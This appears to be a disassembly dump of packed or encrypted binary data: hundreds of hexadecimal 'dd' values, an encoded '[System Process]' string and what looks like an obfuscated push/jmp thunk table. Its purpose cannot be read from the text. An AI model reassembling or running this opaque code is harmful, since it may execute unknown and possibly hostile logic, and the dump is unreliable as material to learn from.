dd 5B4262CCh, 0A5317FE8h, 0D8C68521h, 8DD65298h, 4E959202h
dd 64B24ED2h, 1DDC09B8h, 23258A57h, 0CF1D8663h, 46773E38h
dd 0C437BE11h, 1687h, 87328E00h, 4262DBC1h, 74FBEF5Bh
dd 5A8F90DEh, 0C91B5Dh, 32960000h, 17650386h, 37D15616h
dd 0ED7EA3Ah, 9840894Fh, 0B31C6322h, 41711DA9h, 0B2502A75h
dd 572h, 8E650989h, 1CF38D12h, 0A67D1FA0h, 350CA42Ah, 0C59C32B9h
dd 0A02727BCh, 34B7330Ah, 0C143BF96h, 4ACE4A21h, 0DB32D7AEh
dd 28092F15h, 3DC64B63h, 873AB511h, 7A780046h, 165D7A2Bh
dd 50BBC3D7h, 0C2000000h, 65038632h, 41AE1868h, 7DF74D8Eh
dd 5085347Fh, 0C6C3D716h, 37h, 0AFB511CDh, 40418F2Bh, 0E995580Bh
dd 20CDCA64h, 582B29FDh, 426B4D30h, 9C3ABD5Bh, 6EBC58DCh
dd 357386Dh, 0F2C3D71Ah, 179EBF46h, 0FD323381h, 0FEDB7800h
dd 117FFFFFh, 46873AB5h, 2514FD7h, 0D7160653h, 22294C3h
dd 319B0000h, 0E20289AAh, 4263361Ch, 0ACE14A5Bh, 0F39E2977h
dd 4263472Dh, 0FDFA635Bh, 61AF47CDh, 22B00399h, 0B22E059Bh
dd 9B47952Bh, 1200BF26h, 0EBB120BCh, 5B42E705h, 8FAEB019h
dd 9F65245Bh, 5B432AB9h, 406F6CD5h, 232EBD7Ah, 0A766CF63h
dd 8D5375FBh, 632326A7h, 28255AC3h, 0A1F4BA6Ah, 0BBA16712h
dd 0CF632326h, 0B2396966h, 11AF954Fh, 2D62AA15h, 3353DA56h
dd 2299876Dh, 0CF2BBB63h, 352B90ABh, 2F7DB21Bh, 23179F89h
dd 1560BA63h, 9168FE85h, 39F88E15h, 14E2C88Eh, 0C8FE6323h
dd 2D1D6DA1h, 807DB26Eh, 58B37C2h, 211E1F6Dh, 36F5F0D1h
dd 2AA0770h, 0BD17C6Bh, 5B428925h, 26C04539h, 16AF4F1h
dd 0B2338E2Ah, 9B502DF3h, 0F35C6322h, 9719FFA5h, 98F6322h
dd 12972371h, 0B47A2A78h, 0E7415CE1h, 12D3EE9Ch, 0A9B08D53h
dd 53BC6B02h, 0E07C007Ch, 0E6820692h, 974E730Fh, 5D87EAD8h
dd 31232CDFh, 63F0534h, 5D6322F0h, 0E306ECB2h, 0B11A6322h
dd 73C12AB4h, 22E2E3CDh, 1544E63h, 37920B50h, 4091C4h
dd 11980000h, 0B07635B0h, 6322648Bh, 48EE3CA5h, 6322645Eh
dd 66B450D4h, 6BB957DAh, 38460DA3h, 0C8C917B5h, 87CEC893h
dd 371781D6h, 40C470C4h, 965556A4h, 226FEAD0h, 0A09D0663h
dd 8618h, 0AD311F00h, 0B037C311h, 0BC40CC1Ah, 0C246D220h
dd 0B4B94F26h, 225B4267h, 9843029Eh, 4266ECD2h, 9A97005Bh
dd 0DB0AB753h, 213B561Ch, 0EC556325h, 11D7822Dh, 6325202Bh
dd 0A9D9D63Fh, 39B58C22h, 0AE121CB2h, 9D7543F8h, 31425C3h
dd 67E70000h, 0EB70ECC3h, 7DFE7A51h, 28804DBh, 9017936Ah
dd 0C91A23FAh, 9168FE85h, 1DF49215h, 0A87F1FA1h, 350CA82Ch
dd 8D733990h, 0A163280Bh, 0AA31931Ch, 3DC13D14h, 324DCAA1h
dd 62DBC187h, 86EF5B42h, 39D55989h, 497260EBh, 0CB87A176h
dd 33D6BC82h, 81EA5B43h, 6F058C4Ch, 22BE4272h, 5F25D04Bh
dd 5B433479h, 0FE2F2C95h, 0C311AD31h, 4017B337h
dd 6E541AC5h, 825B4263h, 0F5CC1C19h, 0F442E465h, 39FFBEF3h
dd 63226A00h, 9F4593FCh, 632269B5h, 2E5F2620h, 0C4371429h
dd 416Fh, 0B0117600h, 20CB7635h, 4263745Ah, 91A3A05Bh
dd 0AE23856Bh, 9F292B94h, 41FC5758h, 95BA0401h, 0A7632311h
dd 7765F03Eh, 64FD1AC1h, 72BCB9CCh, 63229388h, 0FBAAF9F3h
dd 0C43726DEh, 0B83Ch, 0AD314300h, 0B037C311h, 2EAF5B1Ah
dd 403D3E8Ch, 0D672F682h, 867F2917h, 57BB4E37h, 8C109C5Ah
dd 7E8319F0h, 6D5B434Bh, 31DFF57Fh, 3FFF9E7Ah, 0F2221FBBh
dd 7FFBD26Eh, 65115FFBh, 4CA895Ch, 632288B3h, 0C15D349Dh
dd 6026E500h, 6B05413Fh, 314D1349h, 1D8F4D9h, 0DA610DCCh
dd 6C184744h, 0FC784FE5h, 0C5D5DF75h, 0F272A301h, 1C47A18h
dd 0B7370000h, 3BC03C13h, 0CD4ECAA1h, 52D8542Bh, 0E067E3BAh
dd 796A734Ah, 0E1B84ED5h, 6D44E265h, 0F8CF6FF1h, 855CF87Ch
dd 0DDC389E0h, 0F163280Ch, 0AA31E36Ch, 27A95514h, 3B383987h
dd 8BF478F4h, 0CDF156B5h, 0DEB5EA45h, 35B01161h, 648BB076h
dd 0B1A56322h, 0C5A8F2Fh, 22647C66h, 0D26EF263h, 0D577F884h
dd 0A6F49215h, 0F87D48DEh, 93AC9A2Dh, 70635370h, 367D1310h
dd 376A5287h, 0EE7521C4h, 0C090A58h, 0B584h, 87328B00h
dd 4262DBC1h, 8986EF5Bh, 0EB39D559h, 0B41B7260h, 0E4F49F8Bh
dd 9A30B7E7h, 0DFA1A64Ch, 91155B42h, 1EA21EF5h, 39883482h
dd 0D627EDACh, 4D632302h, 34821CA1h, 43AC3633h, 0C345F16Ch
dd 0C649D523h, 0A6F6F328h, 450BCA1Bh, 6B057BC5h, 0CE7938A1h
dd 0B6049C22h, 188B8B5h, 9118946Bh, 0A3F3F1FBh, 0EEC872A3h
dd 0D150h, 6AA2A00h, 942EB32Fh, 1EC041BDh, 0AD45CB47h
dd 3DD35AD6h, 0C8865D66h, 58D4AB41h, 0E46037D5h, 6FEBC262h
dd 0D3784FEBh, 0CD0B67Ch, 67EC6328h, 89AA31DEh, 361CE202h
dd 4A5B4263h, 5D5EACE1h, 4A7F179Dh, 0D773F773h, 0AD318300h
dd 58D90486h, 323381B6h, 7924AFFDh, 4262CDB3h, 7B78E15Bh
dd 0DBA1C74Bh, 5B4262F5h, 946BA009h, 0E692C9F8h, 7576C464h
dd 4263B59Bh, 0A2235Bh, 3ABD7DE6h, 0E2A8679Ch, 632803F3h
dd 5AE6349Dh, 0E7633AD6h, 0D379C763h, 75722C38h, 0E5F5C056h
dd 1DB33A61h, 119511E8h, 97CC64EAh, 9F37BD49h, 88DBA151h
dd 3DA76FAh, 17DD0387h, 70F1EC31h, 61AFE44Dh, 0DC3h, 0B7023E00h
dd 6360460Ch, 137C5B42h, 0B131E516h, 0AF33BF0Dh, 0B739C513h
dd 0BA3DC917h, 0BB42CE1Ch, 0C44BD725h, 0CE54E02Eh, 0DB5CE836h
dd 0DA5FEB39h, 5763F240h, 0C781E789h, 4, 8704EF83h, 895C243Ch
dd 89532404h, 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h
dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 241C895Ch
dd 76DC6850h, 48B0DC8h, 4C48324h, 0E2D5682Dh, 58C58905h
dd 4EC81h, 24890000h, 24048324h, 0EC815B04h, 4, 8F242C89h
dd 1C8B0843h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
dd 2434FF5Ch, 4C4835Dh, 0FB9BDAE9h, 0B843D2FFh, 7E5ABEFh
dd 0E0FFC503h, 4AC21D3Ch, 6661C6ABh, 759A1E44h, 1C6A9C19h
dd 0D202BCFh, 51E43375h, 346BBCC4h, 5CC5E8EDh, 1CF7999h
dd 4F9ED4B0h, 5F5A1059h, 0EA5A004h, 67E6498Ch, 46BF4914h
dd 3DB58A7Fh, 18AE9h, 44B47300h, 0E86A7C0Dh, 144ED284h
dd 0C95A904Ch, 0C254AB0Bh, 0C154B052h, 0CA5AB70Bh, 0E1738D52h
dd 0B326873Bh, 48728852h, 4CC62CD0h, 0F4B4BC9Ch, 85161752h
dd 12852h, 0
dd 400h, 2 dup(0)
dd 2F00h, 0
dd 800h, 0
dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 47h dup(0)
dd 0E9000000h, 1687h, 0E5B01568h, 99F5E907h, 2968FFFBh
dd 0E907E5B1h, 0FFFB99EBh, 0E5B22868h, 99E1E907h, 0F768FFFBh
dd 0E907E5B2h, 0FFFB99D7h, 0E5B4AF68h, 99CDE907h, 0D468FFFBh
dd 0E907E5B5h, 0FFFB99C3h, 0E5B69668h, 99B9E907h, 5C68FFFBh
dd 0E907E5B7h, 0FFFB99AFh, 0E5B95A68h, 99A5E907h, 3668FFFBh
dd 0E907E5BAh, 0FFFB999Bh, 0E5BAE968h, 9991E907h, 6468FFFBh
dd 0E907E5BBh, 0FFFB9987h, 0E5BCCF68h, 997DE907h, 3B68FFFBh
dd 0E907E5C2h, 0FFFB9973h, 0E5C36968h, 9969E907h, 9717FFFBh
dd 1BA01CF3h, 0AD2EAA81h, 32B8340Bh, 0C047C39Ah, 994A532Ah
dd 0C1982EB5h, 4D24C245h, 0D8AF4FD1h, 653CD85Ch, 0BDA369C0h
dd 0D1632811h, 0AD31C34Ch, 0B337C311h, 1DA44017h, 0D85D09C8h
dd 4C12413Eh, 63226A13h, 0AB3684EDh, 8C527EFFh, 632269A6h
dd 1F1C51BAh, 2268EBD5h, 0B9DA6163h, 19679C32h, 1DE3098Dh
dd 63226937h, 67B5EA53h, 70F5C0E6h, 0A9D8ABA5h, 0C43714ACh
dd 3FEAh, 0B011F100h, 3D8B25AAh, 8248073Ch, 6322655Dh
dd 923886EFh, 632264A8h, 0B301971Eh, 0BC0AA027h, 25287BD5h
dd 8615605Ah, 46198898h, 0D6D380ACh, 370A5085h, 0DAC6C4h
dd 23CF0000h, 0D607049Eh, 0C311AD31h, 88FB037h, 0EE232472h
dd 0A46A15A0h, 5B4263BEh, 3C6C69D2h, 42CE1CB8h, 0B54B22BEh
dd 5B426796h, 15EC880Ch, 0D167EE9Ah, 55858283h, 3BE735D1h
dd 0B74DD486h, 8FDC382h, 84632288h, 0BC6E5C1Bh, 2AEDF6FCh
dd 52EE3532h, 0F1B7766Fh, 6B05AD69h, 31DD9C05h, 0C5C614AAh
dd 66ED99C8h, 0F67DF9D0h, 78745660h, 694372A3h, 1427CBh
dd 22C64600h, 0B04ACF4Bh, 3ADC5DD9h, 0C961E763h, 59EF76F2h
dd 0E46A7982h, 74F0C75Dh, 7C53F1h, 8B07DE7Eh, 0EF946B07h
dd 12ECD298h, 7B006328h, 14AA31F2h, 8925A955h, 1ECA458Ch
dd 763CFB9Dh, 5B426390h, 164643ACh, 0FBC16C92h, 5B426315h
dd 0E6C029h, 765B4263h, 50654F4h, 3DC282EBh, 1A976EA3h
dd 7635B011h, 759A1FCBh, 50654F2h, 6489D3D0h, 0F8632265h
dd 0B19B418Fh, 1C632264h, 0BB5BDD89h, 0D96F6C6Dh, 17FEDB8Ah
dd 0E01CC437h, 23000000h, 0C311AD31h, 0CC1AB037h, 75119541h
dd 0DF292627h, 5B4267C0h, 56F47723h, 9A52959h, 0C32B632h
dd 42676046h, 0DE137C5Bh, 0F0170590h, 0A3D62885h, 3190E0DDh
dd 9E4AF5B4h, 2E2F7D1Bh, 9CF2E731h, 258E6322h, 0D60FB24Eh
dd 3CC06C17h, 545152A0h, 555710Ah, 7478666Bh, 0D56FF4C3h
dd 0B34BC2D3h, 4C32CB6h, 2EB0D158h, 0DB3F8C8Eh, 74C22F77h
dd 65EC683Fh, 6FEFC5CFh, 2DC72A3h, 131364h, 36DA5A00h
dd 0C45EE35Fh, 4EF071EDh, 0DD75FB77h, 6D038A06h, 0F8568D96h
dd 8804DB71h, 14906705h, 9F1BF292h, 3A87F1Bh, 1400E6ACh
dd 971C6328h, 14AA310Eh, 0FE25A955h, 58A6DB7Dh, 98135A57h
dd 71DA39AAh, 0C2BF4DBAh, 0FAE80E92h, 20E9B671h, 654B251Dh
dd 795B42E3h, 32CA5010h, 32A926FDh, 27619F44h, 0ACA98024h
dd 0E5CF87Ch, 8B62FE82h, 45DF6410h, 0F5971848h, 2E971BA7h
dd 0DAC60BECh, 956CA1FFh, 0AF12059Ch, 38FE2AABh, 5B430652h
dd 82D0056Eh, 0B005F6B4h, 0AFE48ACFh, 6410BB7Ah, 0F8F947DDh
dd 9C20B1FBh, 382C6322h, 6A0A8CB5h, 98E61B1Ch, 542E6297h
dd 5AACC96Bh, 0D55802BFh, 0DA5DE937h, 0B8EDEE3Ch, 39FEC483h
dd 53538C7Bh, 65119CEAh, 0F74744E2h, 965C1BCAh, 5AAFF394h
dd 0F4DAA04Bh, 84BABD1h, 0AF18A29Fh, 24C044F0h, 0B14DD14Dh
dd 0C82533A7h, 902E0882h, 1214h, 5E35D959h, 0ECC35DE2h
dd 764DEF70h, 5DC74FAh, 956C0289h, 70F7578Ch, 48703DAh
dd 91138F66h, 1A9E1AF1h, 0AB02A77Eh, 2814FFE5h, 0D961B63h
dd 0C311AD31h, 2CB0AA17h, 0D69C5B90h, 6322881Dh, 0C161E3D7h
dd 663D7273h, 0BCA66EAh, 2EB3DC5Fh, 0A4625F94h, 0BBF2B19h
dd 160D0DF7h, 0EDF8C919h, 0A063682Eh, 9FD6B08h, 3DD55B88h
dd 6BB9EEEFh, 0CA76356Ah, 57D3AA46h, 3DE937D3h, 0DCA26184h
dd 632D4BB7h, 0F5A160C9h, 5CC74A71h, 440B71CBh, 7A7CB18Eh
dd 0C690D516h, 21F82DFEh, 4F35FBA6h, 6B632345h, 51D50502h
dd 0C54AF6B5h, 0C4702E2Bh, 6329E8FDh, 6B036ABEh, 4E8C3F2Dh
dd 9788FC44h, 9DA7109Ah, 72A15F03h, 45C05E38h, 28000011h
dd 0B12D04A8h, 3FBB922Ch, 0C9451CBEh, 58D4AB43h, 5B643BD1h
dd 0A93FC688h, 35D356D2h, 0C060E25Eh, 4DE96DE9h, 0B47AD176h
dd 632814CEh, 31D45DE2h, 0A95514AAh, 3D3E8C22h, 645DF940h
dd 88D672F6h, 0CD935287h, 63229084h, 8C38F760h, 0AE6C690Bh
dd 43029E22h, 0F20CBA55h, 0D1CE38A9h, 0DD630F8Ah, 0F9F6F745h
dd 9B1E45C9h, 79AEAFFDh, 63490FBAh, 7763235Fh, 0A753110Eh
dd 610CCB1Ah, 5F450BB6h, 7B63235Fh, 5F523812h, 56E6323h
dd 7ADDBE08h, 54426B03h, 760B799Bh, 0F8827F98h, 0CB91418Fh
dd 0CA66EAF8h, 0C98A78F3h, 234D61FDh, 0A41D6D6Ah, 54D68241h
dd 0C288B7B4h, 63231679h, 977D43EEh, 0B363230Eh, 5AC34D4Ah
dd 2AD6810Ch, 4C320CA4h, 6063230Eh, 46CAFAF7h, 0FE945CAAh
dd 0D03A28B7h, 2DC74C4Dh, 0D2DCDEDFh, 94E4E1E3h, 33F9B82Dh
dd 6B0359EAh, 982EB561h, 0C24C494Ah, 82068259h, 8F298E6h
dd 235B4357h, 42EDFAC9h, 92B9D54h, 1DBC9AEh, 5B43361Bh
dd 99C9C62Fh, 27A27915h, 0CF9AD739h, 0C1DDAED1h, 2CB9097Eh
dd 5C8C89BEh, 42EE3CD8h, 0E1A7667Fh, 63230474h, 0DFD8AF18h
dd 964F72DFh, 911411D7h, 0EF586B08h, 0CF50FCBBh, 0E1DEDF2Dh
dd 46942AB1h, 4790B6A0h, 63B50C5Bh, 4135C9F1h, 52114624h
dd 2D986F8Ch, 29B05C63h, 190C9693h, 22876D53h, 0BA58DB63h
dd 430237A0h, 0CB69EC98h, 462CF27Dh, 5A632287h, 8FBFBCF1h
dd 1D986F0Bh, 86C6AC72h, 71DA6322h, 2536C96Fh, 403D2138h
dd 0A2F08C10h, 0EFF98F16h, 7541CFE7h, 8D5CFAD4h, 0E000000Fh
dd 69E5BC60h, 0F7734AE4h, 81FDD476h, 108C63FBh, 131CF389h
dd 61F77ED0h, 0ED8B0E8Ah, 78189A16h, 5A125A1h, 6C32892Eh
dd 63281786h, 318C159Ah, 0C23D14AAh, 0FAF79116h, 5A2046CAh
dd 5B426374h, 9CEA1F88h, 31F08C10h, 62DAC086h, 8DF65B42h
dd 91EBD290h, 9430B4C2h, 163B20BDh, 3B61C3D7h, 68000001h
dd 0C311AD31h, 4017B337h, 9C81DA4h, 2744705Eh, 0C2C460E4h
dd 0A7A400CFh, 22CE245Dh, 0B877E063h, 48286ECAh, 5A57B52Ch
dd 8C0CF69Ch, 7D776322h, 3B528736h, 7521C437h, 50654F2h
dd 949A8046h, 4DB66322h, 29C850h, 11CF0000h, 0B07635B0h
dd 6322648Bh, 48EE3CA5h, 6322645Eh, 0D584CFC9h, 0C4371780h
dd 9016h, 3B311F00h, 0D2D9AB15h, 31BCEDEAh, 37C311ADh
dd 40CC1AB0h, 46D220BCh, 0D44F26C2h, 0C23C68E6h, 7E7BB21Ch
dd 427D1534h, 55F1755Bh, 6DFE27Eh, 2E668147h, 57456325h
dd 65D01E98h, 87110E5Fh, 2CB35F1Eh, 0BC43BF96h, 43781A9Bh
dd 438F4339h, 9E7875h, 0E68h, 0AE18505h, 986F098Eh, 22F99B1Ch
dd 0B18820A6h, 4118AE35h, 1CA3AB38h, 0B033AF86h, 3DBF3B12h
dd 0C64AC69Dh, 57AE532Ah, 2818AB91h, 0B13ABF63h, 3D14AA31h
dd 0CAA13DC1h, 11AD314Dh, 0C78D38C3h, 5B4262E1h, 0FD594FDh
dd 5B426329h, 0AFDFDC45h, 0E67E042Bh, 0DA5EDAB1h, 50D37F3Eh
dd 666364B2h, 20C5FCA8h, 982EB561h, 1D4C494Ah, 2277EE57h
dd 0CAA10A63h
dd 7213Ch, 0AA31B700h, 3620C614h, 8C5B4263h, 4A22535h
dd 0C180B5B6h, 280FE6FBh, 32F15A63h, 8F660286h, 0BEE36814h
dd 6F6CA137h, 0A795BB3Fh, 6147546Fh, 6A502AA4h, 8663277Bh
dd 0E9AE81Dh, 1BE7F187h, 30754452h, 0DA6B856h, 47C70000h
dd 0CB50CCA3h, 5DDE5A31h, 0E268E4BBh, 70F7734Ah, 0E9FA03DAh
dd 7148DE65h, 0FDD472F5h, 885FFF81h, 15EC880Ch, 6D531970h
dd 81632819h, 0AA3173FCh, 3DC13D14h, 43C753A1h, 6AFAE8A7h
dd 0A135ECBEh, 5E932FB3h, 9017A361h, 9E20ACFAh, 0EFAFB0FEh
dd 0F47FCD6Dh, 4268482Eh, 17FB645Bh, 0E4FF0251h, 27AB3B8Ah
dd 0C217B48Bh, 58C3D713h, 1Ch, 0AF0B661h, 265B4274h, 178FC0BDh
dd 5B426E22h, 0FDF67143h, 42EEFFFFh, 0F62724BCh, 63058632h
dd 63321C66h, 0FDA95B42h, 9D1FDF77h, 11B000FDh, 424F15D4h
dd 4E632810h, 0F67A26E5h, 8307835Ah, 439DB5Ch, 0DA32AB6h
dd 44E61D03h, 0B2502A75h, 0CE0h, 92690D8Dh, 20F79116h
dd 0AA8123A4h, 3910A82Eh, 0C9A036BDh, 0A42B23C0h, 38BB370Eh
dd 0C547C39Ah, 4ED24E25h, 0DF36DBB2h, 281A3319h, 39C24763h
dd 0C311AD31h, 0E1C78D38h, 0FD5B4262h, 290FD594h, 455B4263h
dd 2BAFDFDCh, 5A418Fh, 5A125B5h, 1644912Eh, 17D2C3D7h
dd 0D9000000h, 67018632h, 3C8A20A7h, 0FFF43E3Bh, 765B426Dh
dd 0FFFD47A4h, 44321FFFh, 0DC96E610h, 96E6E36Ah, 50FBBA2Bh
dd 3B423A4h, 0B0D6E398h, 63ADAADFh, 6322A62Ah, 12BE7DE6h
dd 37F5F28Eh, 229DA891h, 4A191363h, 37283E1Bh, 1BC5CC4h
dd 0B9650000h, 4C4D9B33h, 5D171E4Fh, 0FE5B4263h, 0F69216BEh
dd 61CB4937h, 97655FEBh, 5006D2CAh, 8582B773h, 0A23EC23Eh
dd 9E2CAE54h, 0A86E5B42h, 0AD49CDDDh, 169743EEh, 4B252674h
dd 5B429E65h, 8B511079h, 5B429EA5h, 0C5350B9h, 0C660E591h
dd 9F4E79C9h, 0A541C551h, 0C8F3BE6h, 451F206Eh, 5B429E5Fh
dd 0CE15127Bh, 0FCE2A853h, 105B429Dh, 0F67AAAA7h, 79AE4CCFh
dd 9F0B852Bh, 0BCB65B42h, 29A3B8E9h, 33F9C3D7h, 1, 0C311AD31h
dd 4017B337h, 0BB3D1DA4h, 97CCCD1Bh, 69D912D8h, 0BFB36322h
dd 1E6CA139h, 22698E78h, 0B4FFF963h, 3714D005h, 3946C4h
dd 114D0000h, 0B07635B0h, 6322648Bh, 48EE3CA5h, 6322645Eh
dd 88A36C9h, 8ED56B68h, 36D05501h, 17F3E839h, 0D682C437h
dd 0CA82C51h, 7BFD89D7h, 578C8DDBh, 0B4D25Ah, 31D90000h
dd 37C311ADh, 0AF5B1AB0h, 0E5850728h, 5F619697h, 8924F9ECh
dd 6F2D2A99h, 75C35FE3h, 0F2C965E9h, 4282C55Ch, 2891155Bh
dd 5CDDFA63h, 696B6CBAh, 99CE59A9h, 10A82EDAh, 7DC4C1C2h
dd 4605E0E1h, 259A6580h, 0C382EB63h, 0B42D9017h, 4F10FC3Bh
dd 0DB572E63h, 0FAB4BE54h, 0D17543B7h, 0AE259F7h, 0B8B0000h
dd 8F149067h, 21A21EF5h, 0A62CA87Fh, 34BB370Eh, 25BEC79Eh
dd 350CA229h, 0C19836B9h, 4C23C345h, 0D9B04CD0h, 3117DD34h
dd 4D63281Ch, 0AA313FC8h, 3DC13D14h, 0ABF98F16h, 239E75AAh
dd 62CCB278h, 753B5B42h, 5B42638Fh, 0BF2842ABh, 873291C2h
dd 4262DBC1h, 8986EF5Bh, 0EB39D559h, 683FDB5Fh, 3ADDAh
dd 49B45500h, 0EBAA3B86h, 5E1EBC3Fh, 0ECED3BDDh, 0FEFAC0EFh
dd 9263280Fh, 0AC15F529h, 7FB47A39h, 916B0832h, 4A34DA28h
dd 0C05B47F2h, 0C4509E3Eh, 0CD58A63Eh, 47F22107h, 0D8D43D5Bh
dd 9E647342h, 5B47F2B8h, 6B366BD4h, 66732271h, 0B4C3D29Dh
dd 31Dh, 632D17BBh, 0AE895B42h, 0FC5B4263h, 9B6120C5h
dd 6322901Ah, 21030D76h, 16754166h, 0A069E3Ch, 0E7670000h
dd 6BF06C43h, 0FD7EFAD1h, 8208845Bh, 109713EAh, 499AA37Ah
dd 11E87E05h, 9D741295h, 28FF9F21h, 0B58C28ACh, 0DF3B910h
dd 2163281Dh, 0AD31139Ch, 8D38C311h, 4262E1C7h, 9794FD5Bh
dd 0AC6B7A47h, 280FEDE6h, 471E8763h, 10CF16ABh, 0DBC554Ah
dd 0FFBE276Bh, 0FCA8D053h, 19FFD97Bh, 8F5B4263h, 20216F0Bh
dd 91689D06h, 426439FBh, 0B6398F5Bh, 0E8D609F7h, 0BF30B856h
dd 0B910F1BDh, 46439636h, 620083FFh, 68048814h, 62E38F1Ah
dd 747172C0h, 89489D24h, 0B43556DDh, 8EC3C412h, 0BF9C6291h
dd 0D1632272h, 45985E68h, 0D5AF7541h, 95337h, 0F69A1A00h
dd 841EA31Fh, 0EB031ADh, 9D35BB37h, 2DC34AC6h, 0B8964D56h
dd 48C49B31h, 0D45027C5h, 5FDBB252h, 0C3683FDBh, 1CC0A66Ch
dd 57DC6328h, 35B011CEh, 0FBBB076h, 6CD56328h, 0E07E01ADh
dd 0CAB07621h, 0E663280Eh, 0BD39807Dh, 31DD9C3Ah, 581613ABh
dd 0BE4515ACh, 0A4D9DA28h, 0BC261FE5h, 0F9626B0Dh, 23C2FFABh
dd 8EED9E64h, 2E976322h, 41615424h, 0EB896375h, 8D8h, 9A711595h
dd 28FF991Eh, 0B2892BACh, 4118B036h, 0D1A83EC5h, 0AC331BC8h
dd 40C33F16h, 0CD4FCBA2h, 56DA562Dh, 0E73EE3BAh, 281E3B21h
dd 41CA4F63h, 486AD31h, 9C836264h, 0A87CCBC3h, 15992573h
dd 0EA442B79h, 0EB870B9Bh, 32627714h, 7AB8C3D7h, 0BF000001h
dd 0EF68B011h, 0DEC48A79h, 0F25B433Fh, 0BA1A8789h, 0A96F2E63h
dd 6322998Ch, 5EE937A0h, 8B07EDB3h, 0BA236322h, 8B8973BDh
dd 0FAF46322h, 3ADDFAABh, 423BC437h, 44000001h, 2A781498h
dd 4C81179Eh, 6D6A0A8Ch, 11AD313Ch, 8CB337C3h, 20216F05h
dd 0BB812CEBh, 5B4262D5h, 3C8380E9h, 5C421A0h, 63AE945Ah
dd 991C5B42h, 7B78E1FBh, 6A4D864Ch, 0BE276322h, 68E0CA70h
dd 514B6322h, 48C97502h, 358A9A6h, 99C43714h, 41h, 35B011A0h
dd 648BB076h, 3CA56322h, 0F2B863EEh, 6322640Ch, 0FA52C20h
dd 0CB8BC0C1h, 5C5DAB47h, 642B155Fh, 3966322h, 0EAB0D057h
dd 63226404h, 7D7AAF18h, 0E8ED9CE7h, 2EC43717h, 89h, 11AD3135h
dd 8FB037C3h, 0EA386D0Dh, 0F03EDA5Eh, 8544E064h, 6A3054D9h
dd 5B426384h, 0ACFA2F98h, 0D167AEABh, 5B427F22h, 5128C448h
dd 1AD90CB5h, 25393954h, 0FCE3763h, 6F46DC63h, 0CCD66CF3h
dd 7543EF7Ah, 6DD97751h, 7, 8905DC80h, 17936A04h, 0A11DF496h
dd 30AC831Bh, 333C13A9h, 81179EB0h, 0DAB2EAAh, 9838BA36h
dd 25C145C1h, 8C52A94Eh, 63281FA6h, 31AC35BAh, 0A95514AAh
dd 468D8A24h, 0D3AA46CAh, 11AD3156h, 17B337C3h, 0A8BC6A58h
dd 0FAB96FFEh, 42884E34h, 0C4F9625Bh, 43F280C7h, 6F000000h
dd 0A3A042C3h, 5518B472h, 4767EE6Ch, 42639B81h, 1146AF5Bh
dd 0CE8DC2C3h, 6039D22h, 101611D7h, 0F15A6328h, 0DE784432h
dd 84CAEF4Eh, 0B5A6E387h, 3BFAEBD6h, 0D437B75h, 5A8EF76Bh
dd 3E88h, 44320300h, 0F4BF8107h, 3C8C89FAh, 0F6A16085h
dd 2D2AC64Ah, 231A76E3h, 0F2B11A63h, 0ACB91A04h, 6663DF50h
dd 191702A8h, 0C8CE6323h, 0F1F4CDFDh, 9DFF6C32h, 28915B41h
dd 0A1C351h, 113E0000h, 0B07635B0h, 63280FB3h, 0E99554BDh
dd 7A7BC965h, 42195A7Dh, 84136260h, 69B755D8h, 3D1A6B68h
dd 5BC432BAh, 6Bh, 35B01162h, 9A1FCB76h, 0BDB90300h, 0D163280Fh
dd 0E774B568h, 0C7F6BDBBh, 0C432BA92h, 4A08h, 0E1651100h
dd 64028545h, 86323667h, 1A1B69FFh, 0F1F4CD1Dh, 0DC018632h
dd 0C988BD57h, 42631D03h, 0CBC8315Bh, 0FDBD69Ch, 4CB56328h
dd 0A32AD699h, 0F863100Dh, 0A8D9ACAAh, 0C432BEB3h, 0CDD85442h
dd 0F87BCEh, 0D7B03h, 17820000h, 5B427F02h, 0FF249163h
dd 320CFFFFh, 38906E44h, 96562A4Dh, 28787513h, 0C78D4C99h
dd 6328859Eh, 570351BAh, 11BC7B6Ah, 36BBE065h, 184D4E9Ch
dd 0E9D7D11Bh, 620E6B0Dh, 9EFB5E1h, 255B42D9h, 383987BCh
dd 0FA48B13Bh, 0B372734Eh, 2885C8EDh, 3CFB6463h, 9A710B90h
dd 6322C3FEh, 0DEAA89Dh, 0C933F6Bh, 0FF28A7A9h, 86BBFC62h
dd 0B03A3738h, 311F7BDh, 3A2D5B43h, 43038E74h, 439A25Bh
dd 0E26410CFh, 6D30F575h, 0BEF347CEh, 3FC06CE7h, 0A156A09Dh
dd 0B5F369B9h, 42BE9531h, 28D422BEh, 0A23CC199h, 8102AE6Dh
dd 939091DFh, 620EB964h, 836943DDh, 0F2F36863h, 6863462Ch
dd 0D7F15AF3h, 3E9AF6Eh, 17F36863h, 8667B1AEh, 0A2FB487Fh
dd 753BEB39h, 801CA02Eh, 0C8402EA9h, 41C60622h, 346FFA60h
dd 72A7FF0Ch, 44922EB2h, 94164643h, 6F1BA6F4h, 255552E8h
dd 9B4706A0h, 2B2C7A18h, 4D4AE86Bh, 0A34F0E8Fh, 0EF858220h
dd 0F49416A4h, 7F1FA11Dh, 7A352831h, 830F5DF3h, 64146200h
dd 752D79Eh, 1D03C974h, 31FB0920h, 2092783Eh, 45AEFB09h
dd 367D1310h, 0C78626A8h, 0D4BE94D9h, 0B5B22FC1h, 5A48F36Eh
dd 0F6FA3DC0h, 3D23FD62h, 0ABFB093Dh, 7708A28h, 0D725C547h
dd 11A8D9D6h, 5DE836B1h, 418F2FB1h, 8F134340h, 47DDA5F3h
dd 0E8744E7Ch, 0BD94C963h, 6E21BD41h, 3F162F2Dh, 78750D93h
dd 7F0393E2h, 6AEFAFE3h, 0F6DC82D0h, 405B4262h, 169B2B7Ah
dd 0A729A57Ch, 2A13B907h, 0A05B4263h, 0A42F7D1Fh, 4262F8DEh
dd 0EBAB145Bh, 1DB93D6Ah, 4B99CECFh, 0D79C3EBFh, 547F82D1h
dd 903C4B1Ah, 0CA60E70Ah, 0F8467B7Ch, 8C7238F7h, 0A05B4263h
dd 880A3A37h, 0DA7B11E8h, 5B5B4283h, 0D7325C7Ah, 0FF75BCC3h
dd 31C3FFFFh, 0F7AD44ADh, 0CD9AC8F9h, 6562480Eh, 157E5B42h
dd 98D09E0h, 65371DE3h, 60535B42h, 4265B49Ah, 2A5FC85Bh
